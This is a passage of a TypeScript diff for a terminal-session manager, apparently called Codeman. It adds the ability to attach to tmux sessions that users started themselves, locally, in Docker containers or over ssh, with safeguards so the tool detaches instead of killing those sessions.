* - `new-session -t` creates a session in the target's GROUP: same windows, our
* own session options and current window (NOT our own size — see @fileoverview
* for the measurement that disproved that).
* - `status off` is why grouping earns its keep: it lands on OUR session, so the
* owner's status bar is untouched.
* - No `-d`: the session must be attached before `destroy-unattached` lands on it.
* - The escaped semicolons reach tmux as plain command separators after one shell
* parse — the same convention the docker launch chain uses.
* - The `||` fallback is a READ-ONLY attach, for a tmux too old to group. It is
* read-only on purpose: a writable bare attach would resize the owner's
* terminal, which is the one outcome this design exists to prevent. The caller
* records it as `SessionAdopt.readOnly` so the UI can say so.
* - Single line: the string crosses `bash -c "..."`, where a real newline would
* not survive JSON escaping.
*/
export function buildForeignTmuxInvocation(target: ForeignAttachTarget): string {
const sock = fshq(target.socketPath);
const t = fshq(target.targetSession);
const v = fshq(target.viewSession);
const group =
`tmux -S ${sock} new-session -t ${t} -s ${v} \\; ` +
`set-option -t ${v} destroy-unattached on \\; ` +
`set-option -t ${v} status off`;
const readOnly = `exec tmux -S ${sock} attach-session -r -t ${t}`;
return `${group} || ${readOnly}`;
}
/** Local adoption: run the invocation directly in the wrapper pane. */
export function buildForeignAttachCommand(target: ForeignAttachTarget): string {
return buildForeignTmuxInvocation(target);
}
export interface ForeignDockerAttachOptions extends ForeignAttachTarget {
/** `buildDockerBaseArgs(...)` joined — e.g. `docker` or `docker --context foo`. */
dockerBase: string;
containerName: string;
}
/**
* Docker adoption: `docker exec -it` into the container and attach there.
*
* Mirrors the ADOPTED-container branch of `buildDockerLaunchCommand`: look, then
* exec. Never `create`, never `start` — the container belongs to the user, and a
* missing or stopped one fails closed with a message instead of being mutated.
*/
export function buildForeignDockerAttachCommand(opts: ForeignDockerAttachOptions): string {
const name = fshq(opts.containerName);
const notFound = fshq(
`Codeman: container ${opts.containerName} not found. Codeman never creates a container it does not own.`
);
const notRunning = fshq(
`Codeman: container ${opts.containerName} is not running. Codeman never starts a container it does not own.`
);
const inspect = `${opts.dockerBase} inspect ${name} >/dev/null 2>&1 || { echo ${notFound}; exit 1; }`;
const running =
`${opts.dockerBase} inspect -f ${fshq('{{.State.Running}}')} ${name} 2>/dev/null | grep -qx true ` +
`|| { echo ${notRunning}; exit 1; }`;
const exec = `exec ${opts.dockerBase} exec -it ${name} sh -lc ${fshq(buildForeignTmuxInvocation(opts))}`;
return [inspect, running, exec].join(' ; ');
}
/**
* Tear down OUR grouped view session inside a container.
*
* ⚠️ Needed for docker and NOT for the other two, which is a docker fact rather
* than a design choice. Killing the wrapper pane kills a LOCAL tmux client
* directly, and over ssh it sends SIGHUP to the remote client (the same
* propagation the non-owned remote attach has relied on since COD-105) — either
* way the client detaches and `destroy-unattached on` collects the view.
* A `docker exec` process does NOT die when its client goes away: measured, the
* in-container tmux client stayed attached after the wrapper was killed, so the
* view session survived forever and every adoption leaked one of them plus its
* exec process.
*
* Killing a session by name affects ONLY that session, never the group's other
* members — so this can only ever remove the view Codeman created, never the
* human's session it is grouped with. Sibling of `buildDockerKillCommand`, and
* fired best-effort on the same path.
*/
export function buildForeignDockerViewKillCommand(opts: {
dockerBase: string;
containerName: string;
socketPath: string;
viewSession: string;
}): string {
return (
`${opts.dockerBase} exec ${fshq(opts.containerName)} ` +
`tmux -S ${fshq(opts.socketPath)} kill-session -t ${fshq(opts.viewSession)}`
);
}
export interface ForeignRemoteAttachOptions extends ForeignAttachTarget {
/** `buildSshConnectionArgs(host)` — `['ssh', '-o BatchMode=yes', ...]`. */
sshArgs: string[];
/** `remoteSshTarget(host)` — `user@host`. */
sshTarget: string;
}
/**
* Remote adoption: ssh in and attach there.
*
* `-t` goes right after `ssh -o BatchMode=yes`, exactly where
* `buildRemoteAttachCommand` puts it — interactive tmux needs a PTY. Connection
* options come from the shared `buildSshConnectionArgs`, never hand-built here,
* so adoption reaches a proxied/custom-port host on the same terms discovery did.
*/
export function buildForeignRemoteAttachCommand(opts: ForeignRemoteAttachOptions): string {
const [ssh, batchMode, ...rest] = opts.sshArgs;
return [ssh, batchMode, '-t', ...rest, opts.sshTarget, fshq(buildForeignTmuxInvocation(opts))]
.filter(Boolean)
.join(' ');
}
+12
View File
@@ -25,6 +25,7 @@ import type {
SessionRemote,
SessionDocker,
PaneExit,
SessionAdopt,
} from './types.js';
/**
@@ -45,6 +46,13 @@ export interface MuxSession {
remote?: SessionRemote;
/** Docker execution metadata for local tmux sessions wrapping `docker exec` */
docker?: SessionDocker;
/**
* Adoption metadata for a wrapper session around a human-started tmux session.
* Round-trips through `mux-sessions.json` like remote/docker: without it a
* restored wrapper would not know what to re-attach to, and `killSession`
* would lose the detach-not-kill guard.
*/
adopt?: SessionAdopt;
/** Owning username in multi-user mode (round-tripped through recovery like remote/docker) */
owner?: string;
/** Session mode */
@@ -121,6 +129,8 @@ export interface CreateSessionOptions {
remote?: SessionRemote;
/** Docker execution metadata for local tmux sessions wrapping `docker exec` */
docker?: SessionDocker;
/** Adoption metadata; its presence selects the foreign-attach launch command. */
adopt?: SessionAdopt;
/** Owning username in multi-user mode; persisted for recovery. */
owner?: string;
}
@@ -170,6 +180,8 @@ export interface RespawnPaneOptions {
remote?: SessionRemote;
/** Docker execution metadata for local tmux sessions wrapping `docker exec` */
docker?: SessionDocker;
/** Adoption metadata; a respawn of an adopted wrapper RE-ATTACHES, it never relaunches an agent. */
adopt?: SessionAdopt;
/** Owning username (multi-user); redundant on respawn since the Session object survives, kept for shape parity. */
owner?: string;
}
+10
View File
@@ -127,6 +127,7 @@ export interface RebootRestoreRejection {
| 'agent-exited'
| 'respawn-blocked'
| 'remote-or-docker'
| 'adopted'
| 'unsupported-mode'
| 'no-working-dir'
| 'workspace-missing'
@@ -224,6 +225,15 @@ export function planRebootRestore(
skipped.push({ sessionId, reason: 'remote-or-docker' });
continue;
}
if (state.adopt) {
// ⚠️ Same family as the rule above, different reason. Codeman never started the
// process this session wrapped: all it ever had was an attach command. Replaying
// that builds a connection to a foreign session that a reboot has almost certainly
// taken with it, and — worse — the rebuilt tab would present whatever the attach
// lands on as a session we restored, passing someone else's work off as ours.
skipped.push({ sessionId, reason: 'adopted' });
continue;
}
// Capability, not a CLI id: this pass resumes by handing the CLI a conversation
// id through the top-level `resumeSessionId`, which only a CLI whose history the
// claude-jsonl reader understands can consume that way. Others carry their thread
+61 -6
View File
@@ -61,6 +61,7 @@ import {
type SessionNameSource,
type SessionWriteOptions,
type PaneExit,
type SessionAdopt,
} from './types.js';
import { resolveAndClaimOmpSessionId } from './utils/omp-session-resolver.js';
import { claudeTranscriptExists } from './utils/claude-transcript.js';
@@ -352,10 +353,25 @@ export function queryTmuxWindowSize(muxName: string, socket: string): { cols: nu
return { cols: DEFAULT_PTY_COLS, rows: DEFAULT_PTY_ROWS };
}
export function resolveMuxAttachCwd(workingDir: string, remote?: SessionRemote, docker?: SessionDocker): string {
export function resolveMuxAttachCwd(
workingDir: string,
remote?: SessionRemote,
docker?: SessionDocker,
adopt?: SessionAdopt
): string {
// Remote and docker sessions run the CLI elsewhere (ssh / docker exec); the LOCAL
// wrapper pane never needs the workspace as its cwd, so launch it in /tmp.
return remote || docker ? '/tmp' : workingDir;
//
// ⚠️ An ADOPTED session needs the same treatment and does NOT get it from the
// two checks above: its connection facts live on `adopt.docker`/`adopt.remote`,
// so `session.docker` is undefined even for an in-container adoption. Its
// `workingDir` is the FOREIGN pane's cwd — a path that routinely does not exist
// on this host. Measured against a real container: adopting an in-container
// session produced `workingDir: /workspace/pythonserver`, the local PTY spawn
// inherited it as its cwd, and the session came up with `pid: null` and a blank
// terminal while the wrapper tmux session and the in-container grouped view had
// both been created successfully — i.e. it looked half-alive rather than failed.
return remote || docker || adopt ? '/tmp' : workingDir;
}
/**
@@ -682,6 +698,11 @@ export class Session extends EventEmitter {
// local tmux + `docker exec`. The container is per-CASE (shared by sibling sessions).
private readonly _docker?: SessionDocker;
// Adoption metadata, present when this session is a WRAPPER around a tmux
// session a human started outside Codeman. Its presence is the single switch
// that disables everything Codeman can only do to a process it launched.
private readonly _adopt?: SessionAdopt;
// Owning username in multi-user mode (undefined in single-user). Stamped at create
// from req.authUser and round-tripped through recovery like _remote/_docker.
private _owner?: string;
@@ -792,6 +813,8 @@ export class Session extends EventEmitter {
remote?: SessionRemote;
/** Docker execution metadata for sessions launched inside a container via local tmux. */
docker?: SessionDocker;
/** Adoption metadata for a wrapper around a human-started tmux session. */
adopt?: SessionAdopt;
/** Owning username (multi-user mode); undefined in single-user. */
owner?: string;
/** Session that spawned this one — tab lineage decoration, resolved by the caller. */
@@ -937,6 +960,7 @@ export class Session extends EventEmitter {
this._tmuxHistoryLimit = config.tmuxHistoryLimit ?? DEFAULT_TMUX_HISTORY_LIMIT;
this._remote = config.remote;
this._docker = config.docker;
this._adopt = config.adopt;
this._owner = config.owner;
this._discoveredMuxSession = config.discoveredMuxSession === true;
// Restored so a record that says the agent exited survives a server restart
@@ -1091,6 +1115,25 @@ export class Session extends EventEmitter {
return this._remote;
}
/** Adoption metadata when this session wraps a human-started tmux session. */
get adopt(): SessionAdopt | undefined {
return this._adopt;
}
/**
* Is this a wrapper around a tmux session Codeman did not start?
*
* ⚠️ Deliberately NOT folded into `isExternalCliMode()`. That predicate answers
* "does this CLI render its own TUI", which is about the PROTOCOL. This one
* answers "did we launch the process", which is about AUTHORITY — an adopted
* session can be `mode: 'claude'` and still have no hooks installed, no
* `envOverrides`, no effort and no `--session-id` we chose. Conflating the two
* would silently grant claude-shaped automation over a process we do not own.
*/
get isAdopted(): boolean {
return this._adopt !== undefined;
}
/**
* `deepSeekConfig.statusReporting` verbatim: `undefined` when the caller sent
* none (i.e. ON), `false` when the user disarmed the status bridge for this
@@ -1178,13 +1221,20 @@ export class Session extends EventEmitter {
/**
* True when a tmux pane's death would mean THIS session's agent has exited.
*
* Four shapes fail the test, and each would otherwise publish a death that is
* Five shapes fail the test, and each would otherwise publish a death that is
* not the agent's. A direct-PTY session owns no pane at all. A remote SSH
* session's local pane holds the ssh client, whose death means a transport
* drop OR an exit, which is the ambiguity PR #355 was about. A docker case's
* local pane holds a `docker exec` into the container's own tmux.
*
* The fourth is a session rebuilt from the socket. Absent `remote`/`docker`
* ⚠️ An ADOPTED session is the same shape for a different reason: its pane runs
* `tmux attach` to a session a human started, never the agent. That attach exiting
* with 0 says the connection ended or its owner closed the foreign session — neither
* means this session finished, and neither is Codeman's to clear the tab for. Without
* this, the clean-exit sweep (`pane-exit-sweep.ts`) would close someone else's live
* session's tab the moment they detached from it themselves.
*
* The fifth is a session rebuilt from the socket. Absent `remote`/`docker`/`adopt`
* normally means "this is local", but on a discovered record it only means
* "Codeman never found the metadata": the synthetic `restored-<fragment>` id
* matches no `state.json` entry, so a remote session rediscovered after
@@ -1193,7 +1243,7 @@ export class Session extends EventEmitter {
*/
private get paneExitApplies(): boolean {
if (this._discoveredMuxSession) return false;
return this._useMux && this._muxSession !== null && !this._remote && !this._docker;
return this._useMux && this._muxSession !== null && !this._remote && !this._docker && !this._adopt;
}
/** What Codeman last observed of this pane's agent, or undefined for UNKNOWN. */
@@ -1780,6 +1830,7 @@ export class Session extends EventEmitter {
workingDir: this.workingDir,
remote: this._remote,
docker: this._docker,
adopt: this._adopt,
owner: this._owner,
parentSessionId: this._parentSessionId,
currentTaskId: this._currentTaskId,
@@ -2059,7 +2110,7 @@ export class Session extends EventEmitter {
name: 'xterm-256color',
cols: ptyCols,
rows: ptyRows,
cwd: resolveMuxAttachCwd(this.workingDir, this._remote, this._docker),
cwd: resolveMuxAttachCwd(this.workingDir, this._remote, this._docker, this._adopt),
// COD-75: a CLI that declares `export COLORTERM=truecolor` gets it on the ATTACH
// client too. Both sides read the same registry entry, which is what stops the
// attach client and the tmux session from disagreeing — they used to be two
@@ -2208,6 +2259,7 @@ export class Session extends EventEmitter {
historyLimit: this._tmuxHistoryLimit,
remote: this._remote,
docker: this._docker,
adopt: this._adopt,
owner: this._owner,
};
return this._withCustomModelLaunchModel(options);
@@ -2670,6 +2722,7 @@ export class Session extends EventEmitter {
historyLimit: this._tmuxHistoryLimit,
remote: this._remote,
docker: this._docker,
adopt: this._adopt,
owner: this._owner,
},
spawnErrLabel: 'mux attachment',
@@ -3401,6 +3454,7 @@ export class Session extends EventEmitter {
historyLimit: this._tmuxHistoryLimit,
remote: this._remote,
docker: this._docker,
adopt: this._adopt,
owner: this._owner,
},
createSessionOptions: {
@@ -3413,6 +3467,7 @@ export class Session extends EventEmitter {
historyLimit: this._tmuxHistoryLimit,
remote: this._remote,
docker: this._docker,
adopt: this._adopt,
owner: this._owner,
},
spawnErrLabel: 'shell mux attachment',
+145 -16
View File
@@ -23,6 +23,13 @@
import { EventEmitter } from 'node:events';
import { collectDescendants } from './proc-tree.js';
import {
foreignViewSessionName,
buildForeignDockerViewKillCommand,
buildForeignAttachCommand,
buildForeignDockerAttachCommand,
buildForeignRemoteAttachCommand,
} from './foreign-tmux.js';
import { execSync, exec, execFile } from 'node:child_process';
import { promisify } from 'node:util';
@@ -57,6 +64,7 @@ import {
type OmpConfig,
type SessionRemote,
type SessionDocker,
type SessionAdopt,
type DockerCommandMode,
type PaneExit,
} from './types.js';
@@ -385,9 +393,10 @@ export function derivePaneExits(rows: PaneRow[], now: number): Map<string, PaneE
*
* Mirrors `Session.paneExitApplies`, which is where the rule is enforced. A
* remote session's local pane holds the ssh client, a docker case's holds a
* `docker exec` into the container's own tmux, and a record rebuilt from the
* socket carries no provenance at all, so the session end forces all three to
* UNKNOWN whatever tmux reports. A tick that sees only those has nothing to
* `docker exec` into the container's own tmux, an ADOPTED session's holds a
* `tmux attach` to a session a human started rather than the agent itself, and
* a record rebuilt from the socket carries no provenance at all, so the session
* end forces all four to UNKNOWN whatever tmux reports. A tick that sees only those has nothing to
* learn, and `refreshPaneExits()` skips its tmux read rather than paying for
* the answer.
*
@@ -400,6 +409,7 @@ export function hasObservablePaneSession(sessions: Iterable<MuxSession>): boolea
for (const session of sessions) {
if (session.remote) continue;
if (session.docker) continue;
if (session.adopt) continue;
if (session.discovered === true) continue;
return true;
}
@@ -1535,6 +1545,45 @@ function buildRemoteSessionCommand(options: {
return buildRemoteLaunchCommand(options);
}
/**
* ADOPTION — the pane command for a wrapper session around a tmux session a
* human started. Sibling of `buildRemoteSessionCommand` and
* `buildDockerLaunchCommand`, and the same shape of decision: the wrapper is an
* ordinary `codeman-<8hex>` session on OUR socket, and only what runs INSIDE its
* pane differs per location.
*
* That indirection is what makes adoption safe by construction rather than by
* discipline: `killSession` only ever kills the wrapper on our own socket, so
* there is no shape of caller bug that reaches the foreign server with a
* `kill-session`. It is the same reasoning that keeps a non-owned REMOTE session
* safe (see the detach-not-kill early return in `killSession`).
*/
function buildAdoptSessionCommand(adopt: SessionAdopt, sessionId: string): string {
const target = {
socketPath: adopt.socketPath,
targetSession: adopt.targetSession,
// Derived rather than required: the view name is a function of the Codeman
// session id, so a record that predates it (or one whose creator filled it in
// after construction) still produces the right name instead of an empty `-s`.
viewSession: adopt.viewSession || foreignViewSessionName(sessionId),
};
if (adopt.location === 'docker' && adopt.docker) {
return buildForeignDockerAttachCommand({
...target,
dockerBase: buildDockerBaseArgs(adopt.docker).join(' '),
containerName: adopt.docker.containerName,
});
}
if (adopt.location === 'remote' && adopt.remote) {
return buildForeignRemoteAttachCommand({
...target,
sshArgs: buildSshConnectionArgs(adopt.remote),
sshTarget: remoteSshTarget(adopt.remote),
});
}
return buildForeignAttachCommand(target);
}
/**
* Push one environment variable into a tmux session with `setenv`.
*
@@ -2086,6 +2135,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
historyLimit = DEFAULT_TMUX_HISTORY_LIMIT,
remote,
docker,
adopt,
owner,
} = options;
const muxName = `codeman-${sessionId.slice(0, 8)}`;
@@ -2107,6 +2157,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
workingDir,
remote,
docker,
adopt,
owner,
mode,
attached: false,
@@ -2133,7 +2184,13 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
// surfacing as a bare `execvp(3) failed: No such file or directory` with nothing
// pointing at the real cause. The container's own CLIs are verified by the adoption
// preflight / image gate before launch instead.
const cliRunsInContainer = !!docker;
//
// ⚠️ Skipped for an ADOPTED session for the mirror-image reason: its CLI was started by
// a human in a process we did not spawn, and our pane only runs `tmux attach`. Requiring
// the binary here would reject adopting a claude that lives in a container or on an ssh
// host, and (worse) reject a LOCAL adoption whenever the agent is outside the server
// process's PATH, which is the usual systemd/launchd situation.
const cliRunsInContainer = !!docker || !!adopt;
if (!cliRunsInContainer && !cliDir) {
const message = missingCliMessage(mode);
if (message) throw new Error(message);
@@ -2180,11 +2237,21 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
try {
// Build the full command to run inside tmux
const localFullCmd = `${buildNofileLimitCommand()} && ${pathExport}${envExportsStr} && ${cmd}`;
const fullCmd = docker
? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
: remote
? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools, ompConfig, resumeSessionId })
: localFullCmd;
const fullCmd = adopt
? buildAdoptSessionCommand(adopt, sessionId)
: docker
? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
: remote
? buildRemoteSessionCommand({
mode,
remote,
sessionId,
claudeMode,
allowedTools,
ompConfig,
resumeSessionId,
})
: localFullCmd;
// Create tmux session in three steps to handle cold-start (no server running)
// and avoid the race where the command exits before remain-on-exit is set:
@@ -2241,7 +2308,10 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
// Replace the shell with the actual command (no echo in terminal). Keep
// pane launch in /tmp, then cd inside bash against the current mount table.
const launchCmd = remote || docker ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
// ⚠️ An adopted pane must NOT be `cd`'d: it only attaches, and its
// `workingDir` is the FOREIGN pane's cwd observed at adopt time — a path
// that need not exist on this host at all (a container path, a remote path).
const launchCmd = remote || docker || adopt ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
execSync(
`${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${JSON.stringify(launchCmd)}`,
{
@@ -2307,6 +2377,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
workingDir,
remote,
docker,
adopt,
owner,
mode,
attached: false,
@@ -2403,6 +2474,11 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
} = options;
const session = this.sessions.get(sessionId);
if (!session) return null;
// Adoption metadata comes from the tracked session, not the caller: a respawn
// of an adopted wrapper RE-ATTACHES to the same foreign target. It must never
// be able to become "launch a fresh agent here" because a caller forgot to
// pass the field through.
const adopt = options.adopt ?? session.adopt;
const muxName = session.muxName;
if (!isValidMuxName(muxName) || !isValidPath(workingDir)) return null;
@@ -2441,11 +2517,13 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
const config = niceConfig || DEFAULT_NICE_CONFIG;
const cmd = wrapWithNice(baseCmd, config);
const localFullCmd = `${buildNofileLimitCommand()} && ${pathExport}${envExportsStr} && ${cmd}`;
const fullCmd = docker
? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
: remote
? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools, ompConfig, resumeSessionId })
: localFullCmd;
const fullCmd = adopt
? buildAdoptSessionCommand(adopt, sessionId)
: docker
? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
: remote
? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools, ompConfig, resumeSessionId })
: localFullCmd;
try {
// Same per-CLI env setup as createSession, re-applied so the respawned pane inherits it.
@@ -2462,7 +2540,10 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
this.applyEnvOverrides(muxName, envOverrides, unsetEnvKeys);
// -c /tmp + cd bounce — see createSession() for rationale (stale FUSE state).
const launchCmd = remote || docker ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
// ⚠️ An adopted pane must NOT be `cd`'d: it only attaches, and its
// `workingDir` is the FOREIGN pane's cwd observed at adopt time — a path
// that need not exist on this host at all (a container path, a remote path).
const launchCmd = remote || docker || adopt ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
await execAsync(
`${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${JSON.stringify(launchCmd)}`,
{
@@ -2674,6 +2755,54 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
// for a non-owned session. The only `kill-session` we run is on OUR LOCAL
// socket (`this.tmux()` = `tmux -L codeman` on THIS host), which kills the
// local pane — it does NOT reach the REMOTE socket.
// ADOPTION — DETACH-NOT-KILL, by construction rather than by discipline.
//
// An adopted session's wrapper is an ordinary session on OUR socket whose
// pane runs `tmux attach` (or `docker exec …`/`ssh …` then attach) against a
// FOREIGN server. Killing the wrapper kills our attach client, which is a
// DETACH on the foreign side; the human's session keeps running, and our
// grouped view session self-destroys via `destroy-unattached on`.
//
// The guard below is a formality more than a fence — `this.tmux()` only ever
// addresses our own socket, so no code path here CAN reach the foreign
// server. It is written out anyway so the intent survives future edits, the
// same way the non-owned-remote early return does.
if (session.adopt) {
console.log(`[TmuxManager] DETACH (adopted): tearing down wrapper only for ${session.muxName}`);
// A `docker exec` survives its client, so the in-container view would stay
// attached forever and leak. Best-effort, and it can only reach OUR view.
// See buildForeignDockerViewKillCommand for why local/remote need nothing.
if (session.adopt.location === 'docker' && session.adopt.docker) {
try {
execSync(
`${buildForeignDockerViewKillCommand({
dockerBase: buildDockerBaseArgs(session.adopt.docker).join(' '),
containerName: session.adopt.docker.containerName,
socketPath: session.adopt.socketPath,
viewSession: session.adopt.viewSession || foreignViewSessionName(sessionId),
})} 2>/dev/null`,
{ timeout: EXEC_TIMEOUT_MS, stdio: 'ignore' }
);
} catch {
// The container may be gone, or the view already collected.
}
}
if (isValidMuxName(session.muxName)) {
try {
execSync(`${this.tmux()} kill-session -t "${session.muxName}" 2>/dev/null`, {
timeout: EXEC_TIMEOUT_MS,
});
} catch {
// Wrapper may already be gone.
}
}
this.lastPaneCount.delete(session.muxName);
this.sessions.delete(sessionId);
this.saveSessions();
this.emit('sessionKilled', { sessionId });
return true;
}
if (session.remote && session.remote.owned === false) {
console.log(`[TmuxManager] DETACH (non-owned remote): tearing down local pane only for ${session.muxName}`);
if (isValidMuxName(session.muxName)) {
+102
View File
@@ -0,0 +1,102 @@
/**
* @fileoverview Discovery contract for FOREIGN tmux sessions — the ones a human
* started by hand (`tmux new -s work`, then `claude` or `codex` inside it), which
* Codeman did not create and does not own.
*
* Codeman's own sessions live on a dedicated, instance-scoped socket
* (`tmux -L codeman`) and are gated by `SAFE_MUX_NAME_PATTERN`. Everything here
* is about the OTHER servers: the default socket, a colleague's `-L` socket, the
* tmux inside a container, the tmux on an ssh host.
*
* Key exports:
* - ForeignTmuxLocation, WHERE a foreign tmux server lives — the same three
* locations Codeman already runs sessions in (local / docker / remote).
* - ForeignPaneProbe, one parsed row of the probe script's output.
* - ForeignTmuxSession, one adoptable candidate as the UI sees it.
* - ForeignDiscoveryResult, one scan of one or more locations.
*
* ⚠️ `location` here describes where a candidate was FOUND. Once adopted, the
* location fact is carried by `SessionAdopt` (types/session.ts) instead. The two
* must never stand in for each other, or an un-adopted candidate starts looking
* like a live session.
*
* No I/O here. The probe/parse/classify core is `src/foreign-tmux.ts`; the three
* transports are `src/foreign-tmux-discovery.ts`.
*/
import type { SessionMode } from './session.js';
/** Where a foreign tmux server lives. Mirrors Codeman's own three locations. */
export type ForeignTmuxLocationKind = 'local' | 'docker' | 'remote';
/**
* A location to scan. `hostId` refers to the saved docker-host / remote-host
* registry entry, so the transport can be rebuilt without trusting the browser.
*/
export interface ForeignTmuxLocation {
kind: ForeignTmuxLocationKind;
/** Registry id (`docker-hosts.json` / `remote-hosts.json`). Absent for local. */
hostId?: string;
/** Display label for the UI. Absent for local. */
label?: string;
/** Container to `docker exec` into (`kind === 'docker'`). */
containerName?: string;
}
/** One pane row from the probe script, after parsing. */
export interface ForeignPaneProbe {
socketPath: string;
sessionName: string;
windowIndex: number;
paneId: string;
panePid: number;
/** tmux's own idea of the running command — `node` for both claude and codex. */
paneCurrentCommand: string;
paneCurrentPath: string;
sessionAttached: boolean;
/** tmux `session_created`, epoch SECONDS. */
sessionCreated: number;
windows: number;
}
/** One adoptable foreign session. */
export interface ForeignTmuxSession {
/**
* Stable, opaque id for the UI and the adopt request. Derived from
* location + socket + session name, so it survives a re-scan and can be
* matched against an already-adopted session without echoing raw paths back
* through the browser as command inputs.
*/
id: string;
location: ForeignTmuxLocationKind;
hostId?: string;
hostLabel?: string;
containerName?: string;
/** Absolute socket path AS SEEN FROM THE LOCATION (not from Codeman's host). */
socketPath: string;
sessionName: string;
windows: number;
attached: boolean;
/** Epoch MILLISECONDS (tmux reports seconds; normalized on parse). */
createdAt: number;
/** What the active pane is running, from the bounded process-tree walk. */
mode: SessionMode;
/** Truncated command line behind the classification, for the UI subtitle. */
command: string;
/** The active pane's cwd. Informational — an adopted pane is never `cd`'d. */
workingDir: string;
/** Codeman session id already wrapping this target, when one exists. */
adoptedBy?: string;
}
/** One discovery scan. Never throws — unreachable locations become notes. */
export interface ForeignDiscoveryResult {
sessions: ForeignTmuxSession[];
/** Epoch ms of the scan the result came from (may be a cache hit). */
scannedAt: number;
/**
* Non-fatal reasons a location produced nothing (host unreachable, no tmux,
* engine down). Surfaced so an empty list is never silently ambiguous.
*/
notes: string[];
}
+1
View File
@@ -72,3 +72,4 @@ export * from './search.js';
export * from './user.js';
export * from './webview.js';
export * from './intent.js';
export * from './foreign-tmux.js';
+80
View File
@@ -362,6 +362,80 @@ export interface SessionDocker {
owned?: boolean;
}
/**
* Connection facts needed to reach an adopted foreign tmux server. Deliberately
* the exact `Pick`s that `buildSshConnectionArgs` / `buildDockerBaseArgs` consume,
* so an adopted session can rebuild its command after a server restart without
* re-reading a registry that may have been edited in the meantime.
*/
export interface AdoptRemoteConnection extends RemoteSshOptions {
hostId: string;
label: string;
host: string;
username: string;
port?: number;
}
export interface AdoptDockerConnection {
hostId: string;
label: string;
engine: DockerEngine;
containerName: string;
daemonHost?: string;
context?: string;
}
/**
* ADOPTION overlay — a tmux session a HUMAN started, that Codeman attached to.
*
* This is the FOURTH location overlay, alongside remote-SSH and Docker, and it
* obeys the same rule they do: it is **not** a `SessionMode`. The mode is still
* claude / codex / shell / …, decided by the process-tree probe rather than by
* the user.
*
* Shape of an adopted session: Codeman creates a NORMAL wrapper session on its
* OWN socket (`codeman-<8hex>`, so `isValidMuxName` and every capture/input/
* recovery path is untouched) whose single pane runs a command that attaches to
* the foreign target. Killing the tab kills only the wrapper — the foreign
* session is structurally out of reach, exactly like a non-owned remote session.
*
* ⚠️ There is no `owned` field here, unlike `SessionRemote`/`SessionDocker`: an
* adopted session is *by definition* someone else's. A field that could be true
* would invite a code path that kills it.
*/
export interface SessionAdopt {
/** Where the foreign tmux server lives. */
location: 'local' | 'docker' | 'remote';
/** Absolute socket path as seen FROM that location (passed to `tmux -S`). */
socketPath: string;
/** The foreign session we attach to. Never Codeman-named, never name-validated. */
targetSession: string;
/**
* Our own grouped VIEW session on the foreign server. Grouping (rather than a
* bare `attach`) buys `status off` and an independent CURRENT WINDOW, both of
* which land on our session instead of mutating the owner's.
*
* ⚠️ It does NOT buy an independent size, and the comment here used to claim it
* did. A window is one object with one size and a group shares that object, so
* our attach resizes the owner's view exactly as any second tmux client does
* (measured on 3.3a: bare attach and grouped both shrink a 200x49 target to
* 80x23; only `window-size largest` holds it, and that is a shared window
* option which survives our detach — see foreign-tmux.ts for why it is not set).
* Created with `destroy-unattached on` so it evaporates with our pane.
*/
viewSession: string;
/**
* True when the foreign tmux was too old to group and we fell back to a
* READ-ONLY attach. Surfaced in the UI — the fallback must never silently be
* a writable bare attach, which would resize the owner's terminal.
*/
readOnly?: boolean;
/** The pane cwd at adoption time. Informational: an adopted pane is never `cd`'d. */
paneCurrentPath?: string;
remote?: AdoptRemoteConnection;
docker?: AdoptDockerConnection;
}
/**
* Valid Claude CLI effort levels (claude >= 2.1.154).
* `ultracode` = xhigh effort + standing dynamic-workflow orchestration; it is a
@@ -687,6 +761,12 @@ export interface SessionState {
remote?: SessionRemote;
/** Docker execution metadata, present when this session runs inside a container via local tmux + docker exec */
docker?: SessionDocker;
/**
* Adoption metadata, present when this session is a wrapper around a tmux
* session a human started outside Codeman. Its presence is what disables
* respawn/Ralph/orchestrator and hook-backed waits for the session.
*/
adopt?: SessionAdopt;
/** Owning username in multi-user mode; undefined in single-user (ignored when the flag is off) */
owner?: string;
/**
+33 -3
View File
@@ -7477,6 +7477,25 @@ class CodemanApp {
const sessionNameEl = document.getElementById('closeConfirmSessionName');
sessionNameEl.textContent = name;
// ⚠️ An ADOPTED session has no "kill" outcome to offer. Its wrapper is the
// only thing Codeman owns; the server's killSession refuses to reach the
// foreign server at all (see the adopted early return in tmux-manager). So
// the red "Terminate the session completely" option is not merely redundant
// here, it is a false promise about someone else's live work — and the kind
// of false promise that stops a user closing the tab at all. Hide it, and say
// what actually happens instead.
const killBtn = document.getElementById('closeConfirmKillBtn');
const keepTitle = document.getElementById('closeConfirmKeepTitle');
const keepDesc = document.getElementById('closeConfirmKeepDesc');
const adopted = !!session.adopt;
if (killBtn) killBtn.style.display = adopted ? 'none' : '';
if (keepTitle) keepTitle.textContent = adopted ? 'Close Tab' : 'Remove Tab';
if (keepDesc) {
keepDesc.textContent = adopted
